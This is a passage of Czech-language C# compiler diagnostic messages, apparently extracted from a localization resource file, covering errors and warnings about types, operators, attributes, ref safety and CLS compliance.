nulovou konstantou + Typy a aliasy by neměly mít název record. + {0} není platný argument pojmenovaného atributu, protože se nejedná o platný typ parametru atributu. + Komentář XML má chybně vytvořený kód. + Omezení new() nejde používat s omezením unmanaged. + Přeskočí se některé typy v sestavení analyzátoru {0} kvůli výjimce ReflectionTypeLoadException: {1}. + Pole má přiřazenou hodnotu, ale nikdy se nepoužívá. + záznamy + Strom výrazu nesmí obsahovat operátor přiřazení. + Jeden nebo více typů požadovaných pro kompilaci dynamického výrazu nejde najít. Nechybí odkaz? + {0} je zastaralá: {1}. + Atribut Conditional není pro {0} platný, protože je to konstruktor, destruktor, operátor, výraz lambda nebo explicitní implementace rozhraní. + Členy parametru primárního konstruktoru {0} typu jen pro čtení nejde vrátit zapisovatelným odkazem. + Vzory řezů se dají použít jenom jednou a přímo uvnitř vzoru seznamu. + Neplatný název modulu: {0} + Rozhraní je už uvedené v seznamu rozhraní s různou možností použití hodnoty null u typů odkazů. + {0}: Uživatelem definované převody na základní typ nebo z něj nejsou povolené. + {0}: Nemůže odkazovat na typ prostřednictvím výrazu. Místo toho zkuste {1}. + Verze kompilátoru: {0}. Jazyková verze: {1} + iterátory + Přepínač /win32manifest pro modul se bude ignorovat, protože se vztahuje jenom k sestavením. + Znaková stránka {0} je neplatná nebo není nainstalovaná. + Zastaralý člen {0} potlačuje nezastaralý člen {1}. + U řetězcového literálu chybí koncové uvozovky. + Vyvolaná hodnota může být null. + Použití potenciálně nepřiřazené automaticky implementované vlastnosti {0}. Zvažte aktualizaci jazykové verze {1} na automaticky výchozí vlastnost. + {0} nejde nastavit tak, aby se povolovala hodnota null. + deklarace using + Cílový modul runtime nepodporuje implementaci výchozího rozhraní. + Kompilaci zrušil uživatel. + Odkazy v metadatech se nepodporují. + Za tělem dotazu musí následovat klauzule select nebo group. + Daný výraz nikdy neodpovídá zadané konstantě. + Přístupové objekty init se nedají označit jako jen pro čtení. Místo toho označte jako jen pro čtení {0}. + Operátor „&“ by se neměl používat u parametrů nebo místních proměnných v asynchronních metodách. + Příkaz switch obsahuje víc případů s hodnotou návěstí {0}. + Očekával se identifikátor; {1} je klíčové slovo. + Neplatná hodnota {0}: {1} + Parametr typu {0} má stejný název jako parametr typu z vnější metody {1}. + Strom výrazů nesmí obsahovat nezabezpečenou operaci s ukazatelem. + Uvnitř odkazu na entitu se našel neplatný znak. + Strom výrazu lambda nesmí obsahovat metodu s proměnnými argumenty. + Přepínač příkazového řádku zatím není implementovaný. + Kompilátor implicitně rozšířil proměnnou a doplnil k ní podpis. Výslednou hodnotu pak použil v bitovém porovnání NEBO operaci. Výsledkem může být neočekávané chování. + Operátor * nebo -> musí být použitý u ukazatele. + Neplatný název pro symbol předzpracování; {0} není platný identifikátor. + Operátor {0} nejde použít na operandy typu {1} a {2}. + Celá čísla s nativní velikostí + Typ nejde označit jako kompatibilní se specifikací CLS, protože se jedná o člen typu, který není kompatibilní se specifikací CLS. + CallerMemberNameAttribute nebude mít žádný efekt. Přepisuje ho CallerLineNumberAttribute. + Členy {0} {1} nejde vrátit zapisovatelným odkazem, protože to je proměnná jen pro čtení. + Atribut InterpolatedStringHandlerArgumentAttribute použitý u parametru {0} je poškozený a nedá se interpretovat. Vytvořte instanci {1} ručně. + Daný řádek je dlouhý {0} znaků, což je méně než zadané číslo znaků {1}. + {0} nemůže deklarovat tělo, protože je označené jako abstraktní. + Nekonzistentní dostupnost: Typ události {1} je míň dostupný než událost {0}. + Člen {0} přepisuje zastaralý člen {1}. Přidejte ke členu {0} atribut Obsolete. + Byl zjištěn nedosažitelný kód. + Typ nebo člen nepotřebuje atribut CLSCompliant, protože sestavení nemá atribut CLSCompliant. + V tomto kontextu nejde použít parametr primárního konstruktoru {0}. + Nenašla se implementace vzorku dotazu pro typ zdroje {0}. Nenašel se prvek {1}. Zvažte možnost explicitního určení typu proměnné rozsahu {2}. + {0} není platné číslo upozornění. + Typ {3} nejde použít jako parametr typu {2} v obecném typu nebo metodě {0}. Neexistuje žádný implicitní převod odkazu z {3} na {1}. + Metoda, operátor nebo přistupující objekt používá deklaraci external a nemá žádné atributy. + Metoda obslužné rutiny interpolovaného řetězce {0} je poškozená. Nevrací hodnoty void ani bool. + Tento vzor discard není povolený jako návěstí příkazu case v příkazu switch. Použijte „case var _:“ pro vzor discard nebo „case @_:“ pro konstantu s názvem „_“. + Konvence volání pro {0} není kompatibilní s {1}. + K vytvoření objektu nejde použít typ odkazu s možnou hodnotou null. + Název destruktoru musí odpovídat názvu typu. + Chyba syntaxe příkazového řádku: {0} není platná hodnota možnosti {1}. Hodnota musí mít tvar {2}. + {0} není instanční metoda. Přijímač nemůže být argumentem obslužné rutiny interpolovaného řetězce. + Tento příkaz znovu přiřadí {1} k {0}, ale {1} může opustit aktuální metodu pouze prostřednictvím příkazu return. + Proměnnou rozsahu {0} nejde předat jako vnější nebo odkazovaný parametr. + Smyčka foreach musí deklarovat své proměnné iterace. + parametry neomezeného typu v operátoru sloučení s hodnotou null + Pro metodu s deklarací static a extern musí být zadaný atribut DllImport. + částečná metoda + Feature '{0}' is not available in C# 12.0. Please use language version {1} or greater. + Funkce{0}není v jazyce C# 11.0 k dispozici. Použijte prosím jazyková verze {1} nebo vyšší. + Funkce {0} není v C# 10.0 dostupná. Použijte prosím jazykovou verzi {1} nebo novější. + Pole {0} má přiřazenou hodnotu, ale nikdy se nepoužívá. + V těle klauzule finally nejde používat příkaz yield. + <obor názvů> + Operátor await jde použít jenom ve výrazu dotazu v rámci první kolekce výrazu počáteční klauzule from nebo v rámci výrazu kolekce klauzule join. + Výchozí hodnota zadaná pro parametr {0} nebude mít žádný efekt, protože platí pro člen, který se používá v kontextech nedovolujících nepovinné argumenty. + {0}: Explicitní deklaraci rozhraní se dá použít jen ve třídě, záznamu, struktuře nebo rozhraní. + Nejde předefinovat globální externí alias. + Metoda Slice vloženého pole nebude použita pro výraz přístupu k elementu. + Atribut CLSCompliant nemá žádný význam při použití u parametrů. Použijte jej místo toho u metody. + Toto varování způsobuje, když blok catch() nemá žádný zadaný typ výjimky po bloku catch (System.Exception e). Varování informuje, že blok catch() nezachytí žádné výjimky. + +Blok catch() po bloku catch (System.Exception e) může zachytit výjimky, které nesouvisí se specifikací CLS, pokud je RuntimeCompatibilityAttribute nastavený na false v souboru AssemblyInfo.cs: [assembly: RuntimeCompatibilityAttribute(WrapNonExceptionThrows = false)]. Pokud tento atribut není nastavený explicitně na false, všechny výjimky, které nesouvisí se specifikací CLS, se dostanou do balíčku Exceptions a blok catch (System.Exception e) je zachytí. + Atribut CallerArgumentExpressionAttribute použitý u parametru nebude mít žádný účinek, protože odkazuje sám na sebe. + Výstupní proměnná nemůže být deklarovaná jako lokální proměnná podle odkazu. + Operátor await nejde použít v klauzuli catch. + Operátor {0} vyžaduje, aby byla definována také odpovídající nezaškrtnuté verze operátoru. + obor názvů pro celý soubor + Dynamické objekty nejde dekonstruovat. + Výraz nelze v tomto kontextu použít, protože nesmí být předaný nebo vrácený pomocí odkazu. + Parametr /reference deklarující externí alias může mít jenom jeden název souboru. Pokud chcete zadat víc aliasů nebo názvů souborů, použijte více parametrů /reference. + Převod výrazu stackalloc typu {0} na typ {1} není možný. + Chybí uzavírací oddělovač } pro interpolovaný výraz začínající na {. + Pokud chcete povolit kontrolu kompatibility se specifikací CLS, musíte zadat atribut CLSCompliant sestavení, ne modulu. + Modifikátor scoped se dá použít jen pro hodnoty refs a ref struct. + Příkaz foreach nejde použít pro proměnné typu {0}, protože {0} neobsahuje veřejnou definici instance nebo rozšíření pro {1}. + Chyba při čtení souboru sady pravidel {0} - {1} + Nevolejte přímo metodu Finalize základního typu. Tuto metodu volá automaticky destruktor. + {0}: Hodnota výčtu je pro příslušný typ moc velká. + Daný soubor obsahuje řádky {0}, což je méně než zadané číslo řádku {1}. + V direktivě preprocesoru je uvedený neplatný název souboru. Název souboru je moc dlouhý nebo se nejedná o platný název souboru. + Typ nebo člen je zastaralý. + Výraz nejde převést na {0}, protože se nedá předat nebo vrátit odkazem. + Argumenty typu pro metodu {0} nejde stanovit z použití. Zadejte argumenty typu explicitně. + Může jít o argument s odkazem null. + skupina &metod + Atribut souboru se nenašel. + Atribut cesty se nenašel. + Nespravovaný typ {0} není platný pro pole. + Chyba při podepisování výstupu pomocí veřejného klíče z kontejneru {0} -- {1} + Operátor {0} vyžaduje, aby byl definovaný i odpovídající operátor {1}. + Inicializátor pole nemůže odkazovat na nestatické pole, metodu nebo vlastnost {0}. + automaticky implementované vlastnosti jen pro čtení + Obor názvů {1} již obsahuje definici pro {0} v tomto souboru. + Pole statického pole jen pro čtení {0} nejde použít jako hodnotu Ref nebo Out (kromě případu, kdy se nacházejí uvnitř statického konstruktoru). + Tento odkaz přiřadí {1} k {0}, ale {1} má užší řídicí obor než {0}. + modifikátory přístupu pro vlastnosti + Typy a aliasy nemůžou mít název „scoped“. + Neplatný token {0} v deklaraci člena rozhraní, třídy, záznamu nebo struktury + Soubor metadat {0} se nenašel. + Volání člena, který nemá modifikátor readonly, ze člena s modifikátorem readonly má za následek implicitní kopii. + Obor názvů pro celý soubor musí předcházet všem ostatním členům v souboru. + {0} nemá předdefinovanou velikost. Operátor sizeof jde proto použít jenom v nezabezpečeném kontextu. + Neplatná vyhledávací cesta {0} zadaná v {1} -- {2} + {0} nejde převést na typ {1}, protože typy parametrů se neshodují s typy parametrů delegáta. + Jenom členy kompatibilní se specifikací CLS můžou být abstraktní. + private protected + Sestavení a modul {0} nemůžou mířit na různé procesory. + Strom výrazů nesmí obsahovat výraz rozsahu (..). + Modifikátor druhu odkazu parametru '{0}' neodpovídá odpovídajícímu parametru '{1}' v cíli. + {0} není typ obslužné rutiny interpolovaného řetězce. + Modifikátor druhu odkazu parametru '{0}' neodpovídá odpovídajícímu parametru '{1}' ve skrytém členu. + Před explicitním přiřazením se přečte automaticky implementovaná vlastnost {0}, což způsobí předchozí implicitní přiřazení default. + Operátor await nejde použít v příkazu lock. + Statické pole určené jen pro čtení nejde použít jako hodnotu Ref nebo Out (kromě případu, kdy se nachází uvnitř statického konstruktoru). + Použití potenciálně nepřiřazené automaticky implementované vlastnosti. Zvažte aktualizaci jazykové verze na automaticky výchozí vlastnost. + Atribut {0} není platný pro přistupující objekty vlastnosti nebo události. Je platný jenom pro deklarace {1}. + Modifikátor scoped parametru {0} neodpovídá cílovému objektu {1}. + Zadaný řetězec verze „{0}“ obsahuje zástupné znaky, které nejsou kompatibilní s determinismem. Odeberte zástupné znaky z řetězce verze nebo zakažte determinismus pro tuto kompilaci. + Možnost použití hodnoty null u typů odkazů v explicitním specifikátoru rozhraní neodpovídá rozhraní implementovanému podle tohoto typu. + Pole jako argumenty atributu nejsou kompatibilní se specifikací CLS. + Nepoužívaný externí alias + Neplatné číslo + lambda – zahodit parametry + Výsledek výrazu stackalloc tohoto typu v tomto kontextu může být vystaven mimo obsahující metodu + odchylka typu + adresář neexistuje + Aby byl {0} použitelný jako operátor zkráceného vyhodnocení, musí jeho deklarující typ {1} definovat operátor true a operátor false. + jednoúčelové + Očekává se inicializátor vnořeného pole. + Destruktor může být obsažený jenom v typu třída. + Předpokládá se, že odkaz na sestavení odpovídá identitě. + Odkaz na sestavení {0} je neplatný a nedá se vyhodnotit. + odvozený typ delegáta + Vrací parametr podle odkazu prostřednictvím parametru odkazu; je možné ho však bezpečně vrátit pouze v příkazu return. + Není k dispozici žádný cílový typ pro výchozí literál. + Dekonstrukční přiřazení vyžaduje výraz s typem na pravé straně. + Neplatný argument výběru souboru {0} + Anonymní metody, výrazy lambda, výrazy dotazu a místní funkce uvnitř struktur nemají přístup ke členům instance this. Jako náhradu zkopírujte objekt this do lokální proměnné vně anonymní metody, výrazu lambda, výrazu dotazu nebo místní funkce a použijte tuto lokální proměnnou. + Není možné přiřadit členovi {0} {1} nebo jej použít jako pravou stranu přiřazení odkazu, protože se jedná o proměnnou pouze pro čtení + Typ odkazu s možnou hodnotou null v typu {0} neodpovídá implicitně implementovanému členu {1}. + Podmíněný člen {0} nemůže implementovat člen rozhraní {1} v typu {2}. + Typ odkazu s možnou hodnotou null v návratovém typu {0} neodpovídá implicitně implementovanému členu {1}. + Statická třída {0} se nemůže odvozovat z typu {1}. Tyto třídy se musí odvozovat z objektu. + Pole statického pole jen pro čtení {0} nejdou vrátit zapisovatelným odkazem. + V tomto sestavení je definovaný typ {0}, je ale pro něj zadané předávání typů. + Vzor není dostupný. Už se zpracoval v jiné části výrazu switch nebo není možné pro něj najít shodu. + Výraz je pro zkompilování moc dlouhý nebo složitý. + Po direktivě #pragma se očekával jednořádkový komentář nebo konec řádku. + {0}: Vlastnost události musí obsahovat přistupující objekty add i remove. + Vrací parametr pomocí odkazu {0}, ale má obor vymezený na aktuální metodu + Očekávaly se znaky { nebo ; nebo =>. + Odkazované sestavení míří na jiný procesor. + Spravovaná třída obálky coclass {0} pro rozhraní {1} se nedá najít. (Nechybí odkaz na sestavení?) + {0} neimplementuje vzorek {1}. {2} je nejednoznačný vzhledem k: {3}. + Neplatný parametr {0} pro /langversion. Podporované hodnoty vypíšete pomocí /langversion:?. + Název kvalifikovaný pomocí aliasu není výraz. + Očekával se identifikátor. + Typ {0} není definovaný. + Hodnotu goto case nejde implicitně převést na typ {0}. + Přiřazení je v podmíněných výrazech vždycky konstantní. + Podmíněný člen {0} nemůže mít parametr out. + Operátor await nejde použít v nezabezpečeném kontextu. + Vloženým příkazem nemůže být deklarace ani příkaz s návěstím. + {0} musí povolovat přepisování, protože obsahující záznam není zapečetěný. + Typ hodnoty, která připouští hodnotu null, nemůže být null. + statické místní funkce + Konstruktor je označený jako externí. + Operace může při běhu přetéct (pro přepis použijte syntaxi unchecked) + inicializátor kolekce + Předdefinovaný typ {0} není definovaný ani importovaný. + automaticky implementované vlastnosti + Opětovné přiřazení odkazu + Výraz typu {0} nelze zpracovat vzorem typu {1}. Použijte prosím verzi jazyka {2} nebo vyšší, aby odpovídala otevřenému typu se vzorem konstanty. + Dynamicky volané volání do metody {0} se za běhu nemusí zdařit, protože nejmíň jedno použitelné přetížení je podmíněná metoda. + Typ nebo člen je zastaralý. + Konstruktor {0} je označený jako externí. + {0}: Statické třídy nemůžou implementovat rozhraní. + Vložená struktura spolupráce {0} může obsahovat jenom veřejné položky instance. + Nejde odvozovat z parametru {0}, protože je to parametr typu. + Lokální proměnná deklarovaná v příkazu fixed musí být typu ukazatel. + externí alias + Neplatný typ vrácené hodnoty v atributu cref komentáře XML + Typ {0} nelze v tomto kontextu použít, protože se nedá reprezentovat v metadatech. + Typ odkazu s možnou hodnotou null v návratovém typu neodpovídá implementovanému členu (pravděpodobně kvůli atributům možnosti použití hodnoty null) + Atribut CLSCompliant nemá žádný význam při použití u parametrů. + Možná hodnota null v omezeních parametru typu neodpovídá omezením parametru typu v implicitně implementované metodě rozhraní. + První operand operátoru as nesmí být literál řazené kolekce členů bez přirozeného typu. + Neplatný typ instrumentace: {0} + zaškrtnuté uživatelem definované operátory + Obor názvů se nedá deklarovat v kódu skriptu. + Veřejná, chráněná nebo interně chráněná proměnná musí být typu, který je kompatibilní se specifikací CLS (Common Language Specification). + Částečné deklarace {0} mají konfliktní modifikátory dostupnosti. + Typ {3} nejde použít jako parametr typu {2} v obecném typu nebo metodě {0}. Typ {3} s možnou hodnotou null nevyhovuje omezení {1}. + Operátor nameof nelze zachytit. + Pravděpodobně došlo k neúmyslnému porovnání odkazů. Je třeba přetypovat pravou stranu. + Do výstupního souboru {0} nejde zapisovat -- {1}. + Očekávalo se klíčové slovo this nebo base. + EnumeratorCancellationAttribute nebude mít žádný účinek. Tento atribut je platný jenom u parametru typu CancellationToken v metodě async-iterator, která vrací IAsyncEnumerable. + Typ odkazu s možnou hodnotou null v návratovém typu {0} neodpovídá implicitně implementovanému členu {1} (pravděpodobně kvůli atributům možnosti použití hodnoty null). + Výsledek výrazu je vždycky stejný, protože hodnota tohoto typu se nikdy nerovná hodnotě null. + přístup k elementu ukazatele + {0} nepřepisuje očekávanou vlastnost z {1}. + Příkaz yield se nedá použít v kódu skriptu nejvyšší úrovně. + V této asynchronní metodě chybí operátory await a spustí se synchronně. + Předdefinovaný typ je definovaný ve více sestaveních v globálním aliasu. + Název „_“ odkazuje na typ {0}, ne vzor discard. Použijte „@_“ pro tento typ nebo „var _“ pro zahození. + Výčty, třídy a struktury není možné deklarovat v rozhraní, které má parametr typu in/out. + {0}: Argument atributu nemůže používat parametry typů. + Očekával se přetěžovatelný operátor. + Pole statických polí jen pro čtení {0} nejde přiřadit (kromě případu, kdy se nacházejí uvnitř statického konstruktoru nebo inicializátoru proměnné). + Výraz filtru je konstantní hodnota true. + Nejsou zadané žádné zdrojové soubory. + {0} nemá správný podpis, takže nemůže být vstupním bodem. + Klauzule catch nemůžou následovat za obecnou klauzulí catch příkazu try. + Částečná metoda {0} musí mít modifikátory přístupnosti, protože má modifikátor virtual, override, sealed, new nebo extern. + Převody interpolovaných obslužných rutin řetězců, které odkazují na indexovanou instanci, se nedají použít v inicializátorech členů indexeru. + Chybí argument. + Výraz lambda nejde převést na strom výrazu, jehož argument typu {0} neurčuje delegovaný typ. + Tento příkaz přiřazuje hodnotu, která může opustit aktuální metodu pouze prostřednictvím příkazu return. + návratový + Příslušná operace není definovaná pro ukazatele typu void. + Delegát {0} nemá žádnou metodu invoke nebo má jeho metoda invoke nepodporovaný návratový typ nebo typy parametrů. + Konstruovaný obecný typ nejde vytvořit z jiného konstruovaného obecného typu. + Před explicitním přiřazením se přečte pole {0}, což způsobí předchozí implicitní přiřazení default. + operátor nameof + Nejde převzít adresu proměnné spravovaného typu ({0}), získat její velikost nebo deklarovat ukazatel na ni. + Funkce {0} není součástí standardizované specifikace ISO jazyka C# a možná ji nepůjde použít v ostatních kompilátorech + Atribut {0} daný ve zdrojovém souboru je v konfliktu s možností {1}. + Nejde zadat atribut CLSCompliant u modulu, který se liší od atributu CLSCompliant sestavení. + uvolněný operátor směny + Parametr {0} by se neměl deklarovat s klíčovým slovem {1}. + {0} má atribut UnmanagedCallersOnly a nedá se převést na typ delegáta. Pro tuto metodu získejte ukazatel na funkci. + Nejde použít operátor await v těle klauzule finally. + Metoda zachycovače musí být běžná metoda člena. + Parametr out {0} se musí přiřadit ještě předtím, než aktuální metoda předá řízení. + Záznamy můžou dědit jenom z objektu nebo jiného záznamu. + Očekával se typ object, string nebo class. + Strom výrazů nesmí obsahovat výraz with. + Propojená metadata netmodule musí poskytovat plnou image PE: {0}. + Použil se nepřiřazený parametr out {0}. + Definování aliasu s názvem global se nedoporučuje. + {0}: argument typu atributu nemůže používat parametry obecného typu. + Řetězcové literály UTF-8 + Možnost /platform:anycpu32bitpreferred jde použít jenom s možnostmi /t:exe, /t:winexe a /t:appcontainerexe. + Metodě {0} chybí poznámka [DoesNotReturn], která by odpovídala implementovanému nebo přepsanému členu. + Pole ref lze deklarovat pouze ve struktuře ref. + {0}: Třída s atributem ComImport nemůže určovat základní třídu. + Protože {1} má atribut ComImport, {0} musí být externí nebo abstraktní. + Interpolace musí končit stejným počtem uzavíracích složených závorek jako počet znaků $, kterými začal literál nezpracovaného řetězce. + pevná proměnná + Konflikt u názvu {0} + Předchozí klauzule catch už zachytává všechny výjimky vyvolávané tímto typem nebo nadtypem ({0}). + Použila se možná nepřiřazené pole {0}. + Nejde zadat těla bloků i těla výrazů. + Nejde použít konstrukci System.Void jazyka C#. Objekt typu void získáte pomocí syntaxe typeof(void). + Zadaný režim dokumentace je nepodporovaný nebo neplatný: {0}. + Operátor {0} je nejednoznačný na operandu typu {1}. + Typ odkazu s možnou hodnotou null ve vráceném typu neodpovídá přepsanému členu. + Název elementu řazené kolekce členů se ignoruje, protože cílem přiřazení je určený jiný nebo žádný název. + Odkazované sestavení nemá silný název. + Částečná metoda nesmí explicitně implementovat metodu rozhraní. + Modifikátor scoped parametru neodpovídá cílovému objektu. + výraz lambda + {0} nejde použít pro metodu Main, protože je importovaný. + Parametr unárního operátoru musí být nadřazeného typu. + Před vrácením řízení volajícímu se musí plně přiřadit pole {0}. Zvažte aktualizaci jazykové verze {1} na automatické výchozí nastavení pole. + Optimální přetěžovaná metoda Add {0} pro element inicializátoru kolekce je zastaralá. {1} + Délka konstanty String, která je výsledkem zřetězení, překračuje hodnotu System.Int32.MaxValue. Zkuste rozdělit řetězec na více konstant. + Pokud chcete povolit kontrolu kompatibility se specifikací CLS, musíte zadat atribut CLSCompliant sestavení, ne modulu. + Odkazované sestavení {0} nemá silný název. + obor názvů + Volání je nejednoznačné mezi následujícími metodami nebo vlastnostmi: {0} a {1}. + Výraz switch nezachycuje všechny některé vstupy null (není úplný). Nezachycuje například vzor {0}. + Konstanta s pohyblivou řádovou čárkou je mimo rozsah typu {0}. + Oddělovač literálu nezpracovaného řetězce musí být na vlastním řádku. + Informace o ladění metody {0} (token 0x{1:X8}) ze sestavení {2} nelze přečíst. + UnmanagedCallersOnly se dá použít jen pro běžné statické neabstraktní, nevirtuální metody nebo statické místní funkce. + Pro {0} se nedá vytvořit ukazatel na funkci, protože to není statická metoda. + Neplatná možnost {0} pro /nullable. Je třeba použít disable, enable, warnings nebo annotations. + Nejde vygenerovat ladicí informace pro zdrojový text bez kódování. + Modifikátor scoped parametru {0} neodpovídá přepsanému nebo implementovanému členu. + Neplatná možnost {0}. Viditelnost zdroje musí být public nebo private. + Pro parametr ref readonly '{0}' je zadána výchozí hodnota, ale parametr ref readonly by měl být použit pouze pro odkazy. Zvažte deklarování parametru jako in. + Použití výsledku v tomto kontextu může vystavit proměnné, na které odkazuje parametr, mimo rozsah jejich oboru + Operátor se tady nedá použít kvůli prioritám + Člen záznamu {0} musí být veřejný. + Nepoužívejte {0}. Je vyhrazený pro použití v kompilátoru. + Nejde obnovit varování, protože bylo globálně zakázané. + Parametr je zachycen do stavu nadřazeného typu a jeho hodnota se také používá k inicializaci pole, vlastnosti nebo události. + Parametr __arglist není povolený v seznamu parametrů iterátorů. + {0} neimplementuje člen rozhraní {1}. Možnost použití hodnoty null u typů odkazů v rozhraní implementovaném podle základního typu se neshoduje. + Asynchronní metodu {0} nejde převést na typ delegáta {1}. Asynchronní metoda {0} může vracet hodnoty typu void, Task nebo Task< T> , z nichž žádnou nejde převést na typ {1}. + Použití proměnné {0} v tomto kontextu může vystavit odkazované proměnné mimo rozsah jejich oboru. + Duplicitní atribut {0} + Typ {0} nemůže být vložený, protože má neabstraktní člen. Zvažte nastavení vlastnosti Vložit typy spolupráce na hodnotu false. + Nedal se odvodit typ delegáta. + Místní typ souboru {0} není možné použít, protože cestu k souboru není možné převést na ekvivalentní reprezentaci UTF-8 bajtů.{1} + Očekávala se koncová značka pro element {0}. + oddělovač úvodní číslice + Argumenty typů nejsou v operátoru nameof povoleny. + Typ nebo název oboru názvů {0} neexistuje v oboru názvů {1}. (Nechybí odkaz na sestavení?) + {0}: Při vytváření instance typu proměnné nejde zadat argumenty. + Chyba při čtení prostředků Win32 -- {0} + Název typu {0} se nepovedlo najít v globálním oboru názvů. Tento typ se předal do sestavení {1}. Zvažte přidání odkazu do tohoto sestavení. + Nejde vrátit výraz typu void. + Parametr Ref nebo Uut nemůže mít výchozí hodnotu. + Název typu {0} se nenašel. Typ se předal do sestavení {1}. Zvažte přidání odkazu do tohoto sestavení. + Iterátory nemůžou mít lokální proměnné podle odkazu. + Obě deklarace částečných metod musí mít shodné kombinace modifikátorů virtual, override, sealed a new. + Nejde zadat výchozí hodnotu pro parametr this. + Tento výraz nikdy není zadaného typu ({0}). + Komentář XML má značku typeparam, ale neexistuje parametr typu s tímto názvem. + Obě deklarace částečné metody musí být nezabezpečené, nebo nesmí být nezabezpečená žádná z nich. + slučovací přiřazení + Základní typ byl označený tak, že nemusí být kompatibilní se specifikací CLS (Common Language Specification) v sestavení, které bylo označené jako kompatibilní s CLS. Buď odeberte atribut, který sestavení určuje jako kompatibilní s CLS, nebo odeberte atribut, který označuje typ jako nekompatibilní s CLS. + Daný výraz vždy odpovídá zadané konstantě. + Metoda s parametrem vararg nemůže být obecná, být obecného typu nebo mít pole parametr params. + 'Operátor await vyžaduje, aby typ {0} měl odpovídající metodu GetAwaiter. Chybí vám direktiva using pro položku System? + Očekával se znak ; nebo = (v deklaraci nejde zadat argumenty konstruktoru). + Použití člena výsledku v tomto kontextu může vystavit proměnné, na které odkazuje parametr, mimo rozsah jejich oboru + Volání implicitního indexeru rozsahů nemůže pojmenovat argument. + se strukturami + Argument nejde použít pro parametr z důvodu rozdílů v možnostech použití hodnoty null u odkazových typů. + Vrácená hodnota operátorů True a False musí být typu bool. + Tento konstruktor musí přidat SetsRequiredMembers, protože se řetězí s konstruktorem, který má tento atribut. + Omezení nemůže být speciální třída {0}. + {0}: Cílový modul runtime nepodporuje v přepisech kovariantní návratové typy. Návratový typ musí být {2}, aby odpovídal přepsanému členu {1}. + Modifikátor scoped parametru {0} neodpovídá přepsanému nebo implementovanému členu. + Typ {0} předaný do sestavení {1} je v konfliktu s typem {2} předaným do sestavení {3}. + Argument by měl být proměnná, protože je předán parametru ref readonly. + Výchozí hodnoty nejsou v tomto kontextu platné. + Pole ref nemůže odkazovat na hodnotu ref struct. + Místní typ souboru {0} nelze použít jako základní typ místního typu souboru {1}. + Delegát {0} neobsahuje parametr s názvem {1}. + Konvence volání managed se nedá kombinovat se specifikátory konvence nespravovaného volání. + Porovnání ukazatelů funkcí může přinést neočekávaný výsledek, protože ukazatele na stejnou funkci můžou být rozdílné. + {0} není kompatibilní se specifikací CLS, protože základní rozhraní {1} není kompatibilní se specifikací CLS. + Zdrojovému rozhraní {0} chybí metoda {1}, která se vyžaduje pro vložení události {2}. + Parametr {0} konstruktoru atributu je nepovinný, ale nebyla zadaná žádná výchozí hodnota parametru. + Strom výrazu lambda nesmí obsahovat operátor šířící null. + Alias {0} se nenašel. + Duplicitní inicializace členu {0} + Vlastnost kontraktu rovnosti záznamu {0} musí mít přístupový objekt get. + Neplatný parametr {0} pro /debug; musí být portable, embedded, full nebo pdbonly. + Adresu volného výrazu jde převzít jenom uvnitř inicializátoru příkazu fixed. + Pokud chcete pro interpolovaný doslovný řetězec použít @$ místo $@, použijte verzi jazyka {0} nebo vyšší. + {0}: Třída s atributem ComImport nemůže určovat inicializátory polí. + Částečná metoda {0} musí mít modifikátory přístupnosti, protože má parametry out. + {0}: Nejde deklarovat indexery ve statické třídě. + Atribut CallerArgumentExpressionAttribute nebude mít žádný účinek, protože platí pro člena, který se používá v kontextech nedovolujících nepovinné argumenty. + {0} je už uvedené v seznamu rozhraní. + konstantní vzor nulového ukazatele + {0}: Vlastnost nebo indexer musí obsahovat aspoň jeden přistupující objekt. + Proměnné s implicitním typem nemůžou být konstanty. + Proměnná se deklarovala se stejným názvem jako proměnná v základním typu. Klíčové slovo new se ale nepoužilo. Toto varování vás informuje, že byste měli použít new; proměnná je deklarovaná, jako by se v deklaraci používalo new. + Nekonzistentní dostupnost: Typ vrácené hodnoty {1} je míň dostupný než metoda {0}. + Pole instancí struktur jen pro čtení musí být jen pro čtení. + Přiřazení odkazu {1} k {0} nelze provést, protože {1} má užší řídicí obor než {0}. + Operátor {0} nejde použít pro operandy typu {1} a {2}, které nejsou bajtovým vyjádřením UTF-8. + Pomocí Microsoft.CodeAnalysis.CSharp.SyntaxFactory.Literal můžete vytvořit znakové literálové tokeny. + Strom výrazů možná neobsahuje vzor přístupu indexeru System.Index nebo System.Range. + Pole jako argumenty atributu nejsou kompatibilní se specifikací CLS. + Použil se nepřiřazený parametr out + V aktuálním kontextu se vynechání argumentu typu nepodporuje. + Hodnota zarovnání {0} má velikost větší než {1} a jejím výsledkem může být velký formátovaný řetězec. + Statická lokální funkce nesmí obsahovat odkaz na this nebo base. + Parametr je nepřečtený. + Strom výrazů nesmí obsahovat převod řetězce UTF-8 nebo literál. + deklarace externí proměnné + Parametr ref readonly nemůže mít atribut Out. + Porovnání s integrální konstantou je zbytečné; hodnota konstanty je mimo rozsah typu {0}. + '"experimentální" + Typ {0} ze sestavení {1} se nedá použít přes hranice sestavení, protože má argument obecného typu, který je vloženým definičním typem. + Konstantní hodnota může při běhu přetéct (pro přepis použijte syntaxi unchecked) + volitelné parametry lambda + konstruktory struktury bez parametrů + Parametr unárního operátoru musí být nadřazeného typu nebo jeho parametrem obecného typu, který se na něj omezuje. + Lokální funkce {0} je deklarovaná, ale vůbec se nepoužívá. + Operátor as je třeba použít s typem odkazu nebo s typem připouštějícím hodnotu null ({0} je typ hodnoty, který nepřipouští hodnotu null). + Abstraktní {0} {1} nelze označit jako virtuální. + {0}: Statické třídy nemůžou obsahovat operátory definované uživatelem. + Návěstí {0} stíní v obsaženém oboru jiné návěstí se stejným názvem. + Člen {1} přepisuje člen {0}. Za běhu existuje více kandidátů na přepis. Volaná metoda závisí na konkrétní implementaci. Použijte prosím novější modul runtime. + Anonymní metody, výrazy lambda, výrazy dotazů a místní funkce uvnitř členu instance struktury nemají přístup k parametru primárního konstruktoru. + Očekával se přistupující objekt get nebo set. + Nepoužívejte atribut System.ParamArrayAttribute. Použijte místo něj klíčové slovo params. + V zapečetěném typu je deklarovaný nový chráněný člen + Předaný typ {0} je v konfliktu s typem deklarovaným v primárním modulu tohoto sestavení. + Tato dvě sestavení se liší číslem vydání nebo verze. Aby mohlo proběhnout sjednocení, musíte zadat direktivy v souboru .config aplikace a musíte poskytnout správný silný název sestavení. + Konstruktor {0} nemůže volat sám sebe přes jiný konstruktor. + Odkazovaný soubor {0} není sestavení. + Přetěžovaný binární operátor {0} používá dva parametry. + vzor or + Aby bylo možné používat atribut Conditional, musí být místní funkce {0} static. + Atribut Conditional není pro {0} platný, protože je to metoda override. + Adresu místní proměnné {0} ani jejích členů nejde vzít a použít uvnitř anonymní metody nebo lambda 